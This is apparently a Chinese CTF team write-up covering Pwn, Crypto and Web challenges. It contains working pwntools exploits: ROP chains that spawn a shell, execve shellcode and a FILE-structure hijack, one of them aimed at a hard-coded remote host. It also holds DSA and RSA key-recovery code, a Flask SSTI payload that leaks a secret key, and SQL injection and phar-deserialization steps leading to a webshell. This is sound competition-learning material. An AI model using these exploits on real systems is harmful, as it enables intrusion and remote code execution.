Time 12.1-2
Rank 2

Pwn

OverInt

看一下题目逻辑,如果前面通过判断,最后能有任意次数对栈的修改,可以改return address 之后ROP。看一下如何通过判断,发现需要输入的4位字符符合一定的条件并且在加法中发生一次溢出。于是爆破4位输入,得到一个可以最终进入任意修改栈的输入即可。然后ROP泄露libc,再返回main开头,再次出发漏洞 ROP 执行system
代码如下

#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./overInt",checksec=False)
context.arch=code.arch
if len(sys.argv)>1:
    con=remote(sys.argv[1],int(sys.argv[2]))
    #libc=ELF("./libc.so")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    con=code.process()
    #libc=ELF("/lib/i386-linux-gnu/libc.so.6")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(commond=""):
    gdb.attach(con,commond)
def modify(offset,content):
    con.sendafter("modify?\n",p32(offset))
    con.sendafter("in?\n",content)
def modifyqword(offset,content):
    content=p64(content)
    for x in content:
        modify(offset,x)
        offset+=1    
def bypass():
    con.sendafter("\n",'\x00\x15\x16\x89')
    #con.sendafter("\n","9777")
    con.sendafter("have?\n",p32(6))
    con.sendafter("\n",p32(90562024))
    con.sendafter("\n",p32(90562024))
    con.sendafter("\n",p32(90562024))
    con.sendafter("\n",p32(90562024))
    con.sendafter("\n",p32(90562025))
    con.sendafter("\n",p32(90562025))
def exploit():
    raw_input("#")
    bypass()
    con.sendafter("\n",p32(32))
    ret=0x38
    modifyqword(ret,0x400b13)

    modifyqword(ret+8,code.got['puts'])
    modifyqword(ret+16,code.plt['puts'])
    modifyqword(ret+24,0x40087f)
    con.recvuntil(chr(0xa))
    addr = con.recvuntil(chr(0xa))
    libc.address= u64((addr[-7:-1]).ljust(8,"\x00"))-libc.symbols['puts']
    bypass()
    con.sendafter("\n",p32(24))
    modifyqword(ret,0x400b13)
    modifyqword(ret+8,libc.search("/bin/sh").next())
    modifyqword(ret+16,libc.symbols['system'])
exploit()
con.interactive()

Code

过一个哈希检查就可以栈溢出,哈希函数名字叫angr_hash,猜测出题人应该是考察angr,但是我自己写的跑不出来。于是先黑盒测试一下哈希函数,发现输入前面的第一个字节和哈希的第一个字节基本是对应的,于是可以爆破,手动试了一下应该是5字节,第一位是w,于是直接爆破后面的几位,找出一个符合条件的值。

def hash(s):
    h=0
    for i in s:
        v0=117*h+ord(i)
        h=v0-0x1D5E0C579E0*(((((0x8B7978B2C52E2845 * v0) >> 64) + v0) >> 40) - (v0 >> 63))
    return h
d='wabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d2='xyzabcdefghijklmnopqrstuvwABCDEFGHIJKLMNOPQRSTUVWXYZ'
d3='jklmnopqrstuvabcdefghiwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in d:
    for j in d2:
        for k in d3:
            for l in d4:
                for m in d5:
                    if hash(i+j+k+l+m) == 0x53CBEB035:
                        print (i+j+k+l+m)

得到符合条件的解wyBTs
然后就可以栈溢出ROP,先用puts泄露libc基址,然后跳回main再来一次直接system("/bin/sh")
完整利用脚本如下:

from pwn import *
HOST = "58.20.46.150"
PORT = 38533
code = ELF('./code')
s = remote(HOST, PORT)
#s = process('./code')
context.arch = code.arch
context.log_level = 'debug'
puts_addr = code.plt['puts']
puts_got_addr = code.got['puts']
main_symbol = code.symbols['main']
s.sendlineafter(':\n', 'wyBTs')

payload = flat(['a'*120, 0x400983, puts_got_addr, puts_addr, main_symbol] )
s.sendlineafter('save\n',payload)
print 'a',s.recvuntil('\x0a')
libc_puts = u64(s.recvuntil('\x0a')[:6]+'\x00\x00')
libc_base = libc_puts - 0x6f690
print hex(libc_puts)
print hex(libc_base)
s.sendlineafter(':\n', 'wyBTs')

payload = flat(['a'*120, 0x400983, libc_base+0x18cd57,  libc_base+0x45390, main_symbol] )
s.sendlineafter('save\n',payload)

s.interactive()
#flag{15c3ac74e25f96a282c2821008431557}

Note

堆可执行。Note的编辑都有边界检查,但在检查之后有栈溢出可以覆盖局部变量,从而编辑Note时越界写到GOT表上,从而跳到堆上,堆上摆好shellcode即可。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import os
code = ELF('./note', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(idx, data):
    r.sendline('1')
    r.sendline(str(idx))
    r.sendline('13')
    data = flat(data)
    r.sendline(data)

def exploit(r):
    r.recvuntil('404')
    r.sendline('1')
    r.sendline('0')
    r.send(flat('13'.ljust(10, '\x00'), p32((-8)&0xffffffff), '\n'))
    sc = asm('''
start:
    xor rax, rax
    syscall
    dec edx
    mov rsi, rcx
    jmp start
    ''')
    r.sendline(sc)
    r.sendline('5')
    r.sendline( '\x90'*30+ "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" )

    r.interactive()

Random

第一个漏洞是printf泄漏,但无法任意写。第二个漏洞在于fclose之后没有清空指针,从而可以用scanf控制fs内容,在fread里控制PC。
脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import os
code = ELF('./random', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
#gadget = lambda x: next(code.search(asm(x, os='linux', arch=code.arch)))
#context.terminal = ['tmux', 'new-window']
#debug = lambda : gdb.attach(r) #, gdbscript='b *{:#x}'.format(code.address+0x10EE))

def doopen():
    r.sendline('1')

def doclose():
    r.sendline('3')

def exploit(r):
    doopen()
    sleep(0.1)
    doclose()
    sleep(0.1)

    r.sendline('2')
    sleep(0.1)
    r.sendline('%c'*401 + '@%p'*10 + 'AAA')
    sleep(0.1)
    tmp = r.recvuntil('AAA')
    tmp = tmp.split('@')

    canary = int(tmp[-10], 16)
    stack = int(tmp[-4], 16)
    libc.address = int(tmp[-6], 16) - libc.sym['__libc_start_main'] -0xf0
    code.address = int(tmp[-7], 16) - 0xd70
    info('%016x libc.address', libc.address)
    info('%016x code.address', code.address)
    info('%016x canary', canary)
    info('%016x stack', stack)

    addr = stack - 0xd58
    ff = flat(libc.address+0xf1147, 1, 2, 3, 4, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, code.address+0x202800, 18, 19, 20, 21, 22, 23, 24, 25, 26, addr-0x40, 28, 29)

    sleep(0.1)
    r.sendline('1')
    sleep(0.1)
    r.sendline(ff)
    sleep(0.1)
    r.sendline('0')

    r.interactive()

Crypto

Easy crypto

题目直接给了key,需要自己写解密函数。看一下加密函数,就是AES加密中间,对每个block都异或了iv,最后还把iv作为密文头部返回。只需要写一个逆操作就可以了。
解密代码如下:

#!usr/bin/python 
#_*_ coding=UTF-8 _*_

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys


class aesdemo:
    #aes = AES.new(key,mode)
    def __init__(self,key):
        self.key = key
        #self.BS=BS


    def pad(self,msg):
        #BS = AES.block_size 
        # aes数据分组长度为128 bit
        byte = 16 - len(msg) % 16
        return msg + chr(byte) * byte
    def unpad(self,msg):
        if not msg:
            return ''
        return msg[:-ord(msg[-1])]      

    def xor(self,a, b):
            #assert len(a) == len(b)
            return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])

    def split_by(self,data,step):
            return [data[i : i+step] for i in xrange(0, len(data), step)]

    def encrypt(self, plaintext):
        # 生成随机初始向量IV
        iv = Random.new().read(16)
        aes = AES.new(self.key,AES.MODE_CBC,iv)
        prev_pt = iv
        prev_ct = iv
        ct=""

        msg=self.pad(plaintext)
        for block in self.split_by(msg, 16):
            ct_block = self.xor(block, prev_pt)
            ct_block = aes.encrypt(ct_block)
            ct_block = self.xor(ct_block, prev_ct)
            ct += ct_block

        return b2a_hex(iv + ct)

    def decrypt(self,cipher):
        c=a2b_hex(cipher)
        iv=c[:16]
        cipher=c[16:]
        aes = AES.new(self.key,AES.MODE_CBC,iv)
        prev_pt = iv
        prev_ct = iv
        pl=""

        msg=cipher
        for block in self.split_by(msg, 16):
            p_block = self.xor(block, prev_pt)
            p_block = aes.decrypt(p_block)
            p_block = self.xor(p_block, prev_ct)
            pl += p_block
        return self.unpad(pl)
# 测试模块
if __name__ == '__main__':
    cipher="524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa"
    BS = AES.block_size # aes数据分组长度为128 bit
    key="asdfghjkl1234567890qwertyuiopzxc"
    demo = aesdemo(key)
    e = demo.encrypt("a"*16)
    p = demo.decrypt(cipher)
    print p

伪造签名

首先从pub中提取DSA公钥,得到p,q,g。审计源代码,签名后计算出两个值s和r。其中私钥pri是未知的,s是由pri以及r运算生成的。让服务器对一个已知字符串进行签名,获得r和s,可以通过模p上的运算求出pri。得到私钥后即可伪造admin的签名,让服务器验证,获得flag。

#!use/bin/python
from hashlib import sha512

p=0x00e58c4b03419856a2bdf8e027d4634879d4f1d5cf62958efc7b4116d9850629577a2f3d29094af814a4d37843ae5ec0152641f93d48b8fa811c175b9aba4bac2c67312fd82caee22babdaf8d76bf6e9b5b1876bdae8b4ead8f85eecd5ecf7cc305cf03f38888027cf9db4bf89a50c04627772e7c957e29a81767cafb9be522a992d4dd1a755de77f8eed08f74e066bb456a4d19564d3680c21cce9846b3d9b703c25b53074c27c1718a82b00a3f6445001b89ba376d1387d499d1e7bfff90a97b1cf228e0abc0d683b80e7521249c88ec3bc85f311b70baece10b5753b2a29f159aafb75969eeee496b5e30224aa3fd289d1f43b6954f34b871637247f155ffc1
q= 0x00e02de0483211755e1479ab841fb11b71d0be7eecf58b6d7acbc001535714f44f
g=0x008162303e2cf766a23f4ca9209648f0b1b6034b22a577b2ed3982a40e1d4d821c8bd3fcc97c3407e18838a414639627e349a5e9dce42bbe9f653bab05652243803f8e5478aaf03e850236ca32d13814709aaa3433d3180503ea189bd4cdcad44b678b32d7e6e32903219d74fb457f24c28e7c4a53615a1b7cd834a52fa5ca4218190fd8c4b5c87647351a5d7ee960744461ec95c1c72b4327f7f83aea24922c1968d329ab91f287b601d09e36e366faae374f0a43cb445ba763eaeed6f75a4e694f3daec20d4d8148106e4bb79ed2d65fdf60d4310afaf19c9f84047cc815f2c713f99b23e4988ae70403953f8e3560a0f1f1ced572d03be8b99961955333d229

def s2h(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def h2i(s):
        #print(s)
        #print(type(s))
    return int(str(s),16)


def nonce(msg, num):
    n = 0
    msg=h2i(msg)
    num=h2i(num)
    for i in str(msg):
        i=int(i)**int(i)
        d=int(str(int(i)*3141592653)[-6:])
        n += num % d
    n = (num-n) % d
    return n


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def sign(data):
    data = s2h(data)
    k = nonce(data,q)
    kinv = modinv(k, q)
    r = pow(g, k, p) % q
    h = sha512(data).hexdigest()
    h = int(h,16)
    s = kinv * (h + r * priv) % q
    return (r, s)


def veryfy(data):
    h = sha512(data).hexdigest()
    h = int(h,16)

#get from server when name =admins
r1=90070573032872447121024029430718629638260432295511124276056848475122201240021L
s1=68073756336683619265031749533878249052846049048347537247828287528295874908598
data=s2h("admins")
k=nonce(data,q)
h = sha512(data).hexdigest()
h = int(h,16)
priv=((((s1*k)%q-h)%q) *modinv(r1,q))%q
print priv
(r,s)=sign("admins")
assert(r1==r)
assert(s1==s)
print sign("admin")

Mixmix

这题总共有三关,先用rsa加密flag,随后随机生成第二组密钥,用于加密解密指数d的一半
首先可以用中间打印的随机数结果进行伪随机数预测,从而得到第二次加密的密钥

#python3
import os
#import primefac
import random
def generateBOX():
    ss=[]
    for i in range(624):
        tmp=random.getrandbits(32)
        ss.append(tmp)
    BOX=[]
    for i in range(32):
        BOX.append(random.getrandbits(1024))
    return ss,BOX
import linecache
import mt19937predictor
lines=linecache.getlines("output")
ss=lines[2:-1]

#ss,BOX=generateBOX()
predictor=mt19937predictor.MT19937Predictor()
for x in ss:
    data=int(x.strip(),16)
    predictor.setrandbits(data,32)
box=[]
for i in range(32):
    box.append(predictor.getrandbits(1024))
print(box)

第二次采用的是对称加密,现在已有加密密钥,可以解密得到明文

import os
import libnum
import random
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
flag="a"*31
print "++good good study, day day up++"
def pad(m):
    tmp=m+os.urandom(16-len(m) % 16)
    if (len(tmp)/16) % 2 !=0:
        tmp+=os.urandom(16)
    return tmp
m=pad(flag)

def cipher1(m):
    tmp= bytes_to_long(os.urandom(172)+m)
    e=3
    p=getPrime(1024)
    q=getPrime(1024)
    n=p*q
    c=pow(tmp,e,n)
    d=libnum.invmod(e,(p-1)*(q-1)) % ((p-1)*(q-1))
    if pow(c,d,n)!=tmp:
        return cipher1(m)
    else:
        print(long_to_bytes(n).encode("hex") )
        print(long_to_bytes(c).encode("hex") )
        print len(long_to_bytes(d))
        return long_to_bytes(d)[-len(long_to_bytes(d))/2-1:]
#t=cipher1(m)
def pad2(m):
    assert len(m)<256
    return os.urandom(256-len(m))+m

#exit()
#t=pad2(t)
BOX=[100864670219083426053941742951101278177129530323892218254174300226604066612176917370728129811866589296846704142488203554327841397994166535936718914674316195646165723662233322971811758125973113747713164397136391519596862596258752323014550412894413975219024952374210555861253519865982128027658912706537000457733, 8744271934300658524557200003349876618407475721933310828210389005795702468478220692215689509419555494366016503363569517575105550526937526874486332433410874178151931178699005702750146028150698383268715595362634987357987248401295631138924588975305845108087722091671836254016589797877986685077667621859071827568, 101061747407292464318788771580585883496055200160356293149725904520317637992915450357967467893329294136715327003173902114755214477488478987833995411010082988086586951275683167449176083404549468803752190934895131433558246332674920959421588531070849813832695598962687135572078210949116054242561925404031812084418, 94157175404674084503979269073506915309206897600257708636725934781620621978144351806275692533749454249987712234312782178173654170242590184519876832376217428651863990301756525477772202696511469392651689051626606574939442928983651151604881324136292927917973554886969377690470512198803775239461175236999863341111, 130834513980262887909718731060446361962932102312972129220177183255765400102068455602630067689456028687464644916416545794993039546395191334719591032221967131224211316897068763030983450578508533325505879117075268595804463412675411017442033654347371824923843097448753773961008158637836850720044207796706185623795, 39391050397905908995378510995854370291012694644663323101752781578748888448003969087574062329315635226357510831739898695994561878045586110472921972957553694738709308514996897967978947000347458954783346877147920846271142562442977057630861265201471049179971593239449751616106111872068101065585197194545327210465, 125607787571004645175194544198599614849939231135301645624954563748878897853064654307533673375177493991222113682888773512760467601105855039033111100044489781180023929982350104958136118487777355808952530202118263254875742520992051262275577364548057003605347585871248695780474573482138035461347483438828836630112, 158532106224823022825997305902150328206052267794035621153980957134660538278157603371862206034019834817495692128962652917937991407014914157841838088566162807071712621386703866296972048229042738031253822612697583809680009689134482144069485589091506659569537008997944053286655593545394839016215322907618745332043, 157208173743406213217442024628181819371086621332545107114979393785203268743595625558684872965647302239770267307771915419472494760480558098042781899970802570387317693132730668666407757552566117140100290430360797562521937561014141249843824060123002299012766434771963990071197036719837956034050090974749542435891, 92804780786648799071867867400100926572109955871567253823677076900109410214298847406822988118660063227589646032464958426522394238899339709906229299799080950764819983287152153094643738769939368462852452231378098089190607592603683125696283530898995969639830281820201016094679297312936711317736724031735197335617, 161495378113302302723193115770690241546007805582241042778429692733715522172386407516829158058346662657382617988901655422555941747191207891062960840050357201798525150165221657342420266975952602267101153414710723337753304174862838198416234517365444693095003594414316344856277987468888632019925167278855337289053, 9903249589968574010153171737602318309198768828152733633935959997042880556132281289530928933653762397892086112838038170841457327428621278885733269282890840284877659877856122091944822768422636005742972690786639941209742419175081374346709725023185099912356435202669179031717022063067181254672272769780755636605, 132167049425962955085731646763629798610349128048981010428294273303923006758365694598138889672684516427846923823437883419151608889217660491485938912156580055591797078554729819688994159407483343701360701597005093037644323895899596556003266099664885176221259093726600153822899817731342624918000189006094623037059, 157200080553431618144413421271009566949348976395716766894613094101986136641827196220024713029876754394978160643140855881670258182651825878922514648449070456904752956934595014955635029974802230459121206958803441592550083435516266650103963687509784292395360653449446013591490069170150291181765338130336696495388, 37310650880075391113329014198596904409821484607626603437090909993734793224459203633376761296170163103323269271170938584415823528324337500450938860909751543969949280810880365290601655812667912681990321011282713101109005928156212884865744958218600546135473178754998807056821308004298243784505322954388006823280, 11878402987631804681330357170975587020264845002193926405848939739739089181778042254075133010350987971951647462288986630344860268593270253862527526029606075898683437148854665516415843288222901820619736394970564516680588041025978308333618290492130249634410674259018971038985834022787426914330393969087473007974, 140461878283517606500967656383752289634301068293088701849528304516431510539784027350785528941675613638440027244808120991932550762571686393053680992191021595113570610794144044227770477060579114327726521679464907418409132768960644582474455396748954334434431408996353350270402107654733202450404721451771999916745, 75011734157867997653490328662760409994004953302939387962104025955798797725053191463092965250666893473710554219322203956635316224589886083252244807569048719605154692271889372395482886243085622023135580891439923668075418551893732666443236363883704434508860328611901954480147894214571951770837890772741128421167, 175920820922427955715444292404295051019380738762847545620051806921394489801755976577389780324165215157384176885098861429145286612863282941938851629622295930840174393356144083923446393575271242821595172816823560756325700833609118047294838640383572474942756439808848109206314972426204008501705201092932151045032, 18225110072840051409299705167318350831599451882518720339754640331994597360664489819994730063278055793735801583603617689392955735702335232341586451346680147619085360820355364802249858508808563993638934536188000191815224777082882769593161027087761393164512626899734666969831601222420762677911170517335738857538, 55336154883204929742962840935944118304391828773480348128797964813307662476556440408591030079531875145291456653157712802292487167818352823264908512223580747145338857252789757073345720014588924942122139397362707906040918618164121598464576792753899948557227052407068476747367165092859526158898512366691995252051, 130956350313874272721895641984137720177320198847015290577041973106138358628419766498654641247273836779564354904329119548080333257723928193030374813278282085926467375127379242860273998566470728127171053576605586554720353343656723129787685240484026543684607994659499358481101862040941052598884166215338087616874, 75562609748311032509762480480692744002331371872068310782965723982500223152576111763570014287642999956840664531787262698084523045797693844085767062497158716550972042572103287601668919952677938554708559879289429250590907059462701362205733792421207918027968608553401021651075094453054188693437089133708191077213, 118174759535501001042056785626160010137406830921407815520450554680956323103636755065740853116915961198993545725880532608059890220161170630468515071393881661161695188120815585707125198280737517115250835904023756384494471150198086072108813534735091586043897414299552735786674627932000120567706738677091467787514, 176956736345331621386101138578292725149617733888078431063236262101605180419469684152191625712378704261531681170918872508880029128673916446926150150310773391751174955970024191172204009587442789563720854150147028507553385540744994688011478719368927128306943295032629118593359266963395146322549503012424985609665, 92781929183899769977684941231731104804097067405410552128714064948624904273926908122144704194310447745143280013512314714958120776597779411568949891713557828292617907297247754318099512273141193747779958072314564232216994433327169723346084995059366267352571239534018348012529751122737324913588657849472054143564, 88856973692906216222444347246568807876970133835159099585061129738650966565668161331587679328554555618045089222364413782721991662121814526328734613669113415866500509168837920324788222497993062671090097403992489259620726135658722517667729380011359806056904532569413850427182088051908735978816299960605662944055, 113750447985076352193601455931369994926317999826717360915893830533132638202791766956559606980928848886602605902115224871121551101697529836014990033757622009183403170441959316470055274443666071145413656449288817339439058194869737896305241842001899196353068631568058077829401159607819753058380674988622788530468, 172535263608299173176948050252317921248274611943581964481049167763232042995845811116167842340018203339974320416797523039744397301326388588495755827747683336155356100890896621108911015879028314731588596799653105656146779973271773170581106744976608118888734296181332629451256925245902663404399182603925493051505, 10813481050031547802094907355456970338491668194547580614106823872061456166269390857757372394365479480491446273722402017971942951476402169640860723225013912175493801330694155767930760014059204757590542449438183494419344927956049794175269029350294435521429585817443665669881285173615090571017147139022770870083, 87445510420989738310437859103349710587491745709573066034034711708946033146756942653942026333873916819069604759036188183841734663595408731876568667703294121210885478778425782623887682500334643116594579323201047173316501575978304759245887930402270304461903516142807534885644509403301732207455955592553444644496, 150369200989613601378284682304890610172130021028705012630477720057966575013177093513125291651320800445423399942631326982043659268206218607549003048613332265618734034313599638338187844883660400907717592748765467125062555914201945211395535375311214659291964652677147653485446023577199713953458635690335387146102]
def pad_128(m):
    assert len(m)<=128
    if len(m)==127:
        return '\x00'+m
    if len(m)==128:
        return m
    assert False
def singleround(m):
    L=bytes_to_long(m[0:128])
    R=bytes_to_long(m[128:256])
    nL=R
    nR=L^BOX[R%32]
    return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
    tmp=m
    for i in range(32):
        tmp=singleround(tmp)
    return tmp
def desingleround(m):
    L=bytes_to_long(m[0:128])
    R=bytes_to_long(m[128:256])
    nL=R^BOX[L%32]
    nR=L
    return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def de2(c):
    tmp=c
    for i in range(32):
        tmp=desingleround(tmp)
    return tmp
#cc=cipher2(t)
#print(t.encode("hex"))
#print(cc.encode("hex"))
cc="4246158d1f5ca30ee3b02fb151bab4dbe2a612e8bff32388c06149607edc83bdc3b9ae3f5c0b6a732acfc1302295fc3af8d53f07673ea570a07ace5b7b7890d8992fb06e7fe5ddc7c4c404f0336a69148f499802d1e3dcb6524946658b25cfdd855ee871050535dbddec523d77dd12393d745b9d9848327faf64b2a44779db9af21f14b2918c0057c7075224f86e8f0128ec5a3583cc86986b4a5afa3ff79b04954937d1b6082383a8287acc568ce196ee6d2cf3bc57c6f2eeb2cd9fd296cb9a66090cf6c5631c56aaf7b2ad6eacdc12b0a8808cdf4b16bb6ff3ae92fb2e4486f4e5b2ade0b8afcee68d64885f37c95cc59d213200471a77aef8fb74cd0a8572"
cc=(cc.decode("hex"))
pd= de2(cc)[-129:]
print len(pd)
print bytes_to_long(pd)

解密出的结果是rsa加密d的一部分,可以根据一半的 d恢复完整的d

0# partial_d.sage

def partial_p(p0, kbits, n):
    print p0
    print kbits
    print n
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in xrange(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p


if __name__ == '__main__':
    n = 0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
    e = 3

    beta = 0.5
    epsilon = beta^2/7

    nbits = n.nbits()
    kbits = floor(nbits*(beta^2+epsilon))
    #d0 = d & (2^kbits-1)
    d0 = 41553968686912790458952954242993376120770631907046753685913743296462656479519115622338767486057957865327928162894905159713476559759372878811027305942550917690129221521319505264770463830494835755547904306581759923536797408961014041078383923539917501415413031359824770485620647758572837271668506768858761339247563
    print "lower %d bits (of %d bits) is given" % (kbits, nbits)

    p = find_p(d0, kbits, e, n)
    print "found p: %d" % p
    q = n//p
print inverse_mod(e, (p-1)*(q-1))

得到d之后最后解密出flag

d=15719329173101230775604925095713430429410017067730735720122774102026798292198854772582397931524981328066220201686253869681654538643216308659732679687068887144244339681292606585405634534782951769524179447943945928017418799051540509161882272727502124383771467244539059079789484131589823795198826681734443250466489631148083608378602690249331340288477433925901930416883386560607894108133072240151451713294504041574171909966081139950332854672625859935972900507941581759565393537375540648238054700355023950471918032942297781254286296194965889493933080236396888544403928268329653036490837233832639787140301937122334872345547
>>> from libnum import *
>>> n=0xbac8178c6c942524e947f05b688d4f589b99428d4e932b6aa3cf9fc668436fe828271348451c43b52392dda7fca416d58ca39ddeafa012c4ca1b66b08c003296f1608e2e88184a23d400607be608fd2b75b3be14cedc678f27e1d5c601c4793ec599eff29e4ae568669fea83e917d584c6f45a99c81b50a235deb8094514b9dc6f8fc3746d2f9575b7d828c190f4eba1c719e13e9158c3874e19ad2aa886cbbe037a840ac277edc4ba4f9593331dd22575f13db757b5affc75325bec1310801712b3d6292700633dba4ccd1e3b842f749e29114de611204d40d4e032dd1d88e479c63a09ed6ec1c9fc68b757d84e6ddbeabce9f71a96cb0c5187875a527e81c3
>>> c=0xb50f6b8e6e29b869119eaedc9b235d8754c7ce06ff1a5c9465622d5662e5b36e7f6d525f3a64e126bad4e5c06c24408b81e66f00f7c7a464e4514544683d5d92c84394fc41fd1a626b910bf8e5f30b87c64a129ff694bddca441d01a9d49835d90123fee879935236de2e25ecc4adb2c0bc6a17a2209e1ed5a31c4209f3d11974d464a7fb127ddf2ab9d9975798b7b11a1f4389bef23dd60d2a062fd7e3245e891a0f13b4b9f702b4796874bb8302c40047ad13f8fc421c02953fddb012029508cc80eaa3a89f72663cd563a3336db2bd5d8ab3bdf36239d1cf9a98cee265beec9d2283bc6dffff49a7e23f48efe9eba337f0a9f52a1c2f167387905364af412
>>> pow(c,d,n)
3853527054032297151288551799276978491484011652387602856669343677153153672488264869789362258706672913380725805959339051647753660398715672758041611417359221862191910186302849642986117379051948384641790806003045938775165662607856847624153370073390528916685325331400617639430264710801836071918474422247871191092731077060317333951332306026450738567711361523165024993865644207231472725193840873995914535584736228295533006603469862575861095201104822715553969226942033977480766434171551353277650319968784074525097625278661991131857615700533149787373545375247337643949376505455L
>> k=pow(c,d,n)
>>> n2s(k)
',\x9d\x10$\x8ft\x08\x9c\xc1?\x93B\xc5W\xb8\xab6\x8f\xe4)\x11\x1fM\x99\xb1\xfd\xdd\xd3D\t\xf4\x11\x7f\xaf%\x98\xfeN$\x06\xac\x1a\xfel\x12\xd6tr\xfcO\x96\x9d\xa7u\xa9w\x18\xb4\xde\x9cC+W\xc6\x87Jf&\xbd\xb6\xa7+\x0f\xf0\xe8\xd8\xd6\xc6\x87\x8f\x16\x19~\xe5c]\xfc\xb1)\x87\x81\xb3\x8d\xb6}H\x14\xbb\xec\x9d|k\x8eW\x89\xa6\xfb\xe1\x7f\xc6\x0fbg\x9bs\xc1ek\xd0\x87\x01\xe1\xbd#i\x17x~I\xf5\xc3\xf0\xbdD\xa8\x88Pn\x8a\xfdx\x07\xe9.\x1egW\x8d\x04\xafh)~\x8b\xcd\xe5\x05)R\xcf\xec*\x9f\xe3\r\x10c\xf62ygcflag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}\xf2x6\x01\x86o'

Web

Shadow

首先flask写的,测试发现存在模板注入,于是fuzz一下
/{{url_for.globals['current_app'].config}}

得到配置文件,然后获取到了secret

'SECRET_KEY': 'as/d21as-+dhasod5a4s54:><()dfdsf'
解密session 如下:

于是伪造admin:
出现上传框,后来测了一下,貌似随便注册一下,也可以上传233333

随后开始fuzz,测试了很久,发现可以xxe ,,,

最后测试得到使用xinclude 读文件 然后在rq用户的 .bash_history 得到flag文件名

Myblog

首先发现了index.php 这个时候发现了一个.index.php.swp 这里真是坑啊,与实际文件根本完全不一样。233333

下面说重点,
首先index.php cookie提示?Flag 尝试filter读源码,发现并没有什么卵用。。。
提示about也有后端,页面也说用了base64 于是猜测 about的base64 编码以后,存在文件,(这里猜了一年,服了)
然后读源码:

<?php

    $filename = 'flag.txt';
    $flag = 'flag.txt';
    extract($_GET);

    if(isset($sign)){
        $file = trim(file_get_contents($filename));
        if($sign === $file){
            echo 'Congratulation!<br>';
            echo file_get_contents($$falg);
        }
        else{
            echo 'don`t give up';
        }
    }

?>

简单的变量覆盖,尝试构造获取flag

Babyt2

首先在登陆页面,发现提示,访问得到数据库结构:


Sql injection

既然给出了数据库,应该与sql注入有关,首先尝试正常功能,发现功能有 注册,登陆,上传文件,读取你上传的文件,然后开始尝试注入,在文件名出发现存在注入。
猜测sql语句为:update users set filepath = '' where id = 1;
于是构造利用,发现可以篡改其他用户,或者自己的filepath实现任意文件读取
构造如下:
Update users set filepath = ‘123’,filepath=’456’ where id =2 --1 ‘where id =1
这样就可以修改掉我们自己的filepath的值,然后尝试读一下文件。
任意文件读取
首先尝试读取 /etc/passwd:


然后点击导航栏show
抓包,发现读取成功。


读取源码
没有办法直接getshell,因此尝试读一下源码,但是发现不是默认路径,因此先读一下apache2的默认主机配置。
fuzz了一下,找到了配置文件为:/etc/apache2/sites-available/000-default.conf
读取如下:


然后读源码
file_get_contents 反序列化
在逻辑代码中,发现使用了file_get_contents :


但是现在并没有一个可用的类,于是想到整个框架是使用了yii2 ,所以尝试读取composer.json 文件,查看是否有有漏洞的组件:

构造反序列化文件
在composer.json,里面发现了低版本的组件 guzzle,于是在phpggc中尝试查找有关反序列化漏洞利用,发现可以任意文件写入。


采用phpggc生成payload,但是这里没有什么可用的文件夹,去找了一下,发现了一个yii框架默认存储静态文件的文件夹,assets。
写脚本生成文件:


然后通过composer本地搭建虚拟环境,在vender文件夹中运行php,生成exploit.phar
getshell
将后缀改成txt,上传到uploads目录,然后通过注入,修改filepath为phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt ,点击show触发payload
采用老套路bypass:
compress.zlib://phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt/shell.php

